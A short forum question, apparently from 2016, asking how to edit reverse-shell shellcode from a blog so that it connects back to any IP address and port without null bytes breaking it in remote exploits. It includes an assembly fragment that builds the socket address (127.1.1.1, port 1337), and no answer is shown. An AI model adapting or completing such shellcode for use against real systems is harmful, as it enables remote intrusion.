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How to change the assembly code in this shell for make it work with any IP and port?

P: 1
I have read this blog:, In the complete shellcode, as you read it, I ask the guy who created that blog, he say:

"keep in mind that your port or ip should not contain a \x00, which could break it. If your IP contains a zero like or your port contains a zero like 80, the shellcode will likely fail when you use it with a remote exploit".
and I ask what IP and port can work with this shell code, he say:

"all IPs and ports that do not contain a zero in their network byte-order representation. So 0x0101017f which is the network-byte order representation of is fine. 0x100007f which would be is not working".
So can anyone help me how to edit just one thing :

push 0x0101017f ;sin_addr= (network byte order)
push word 0x3905 ;sin_port=1337 (network byte order)
inc ebx
push word bx ;sin_family=AF_INET (0x2)
mov ecx, esp ;save pointer to sockaddr struct`
To make the the shell work with any ip address and port number?
May 10 '16 #1
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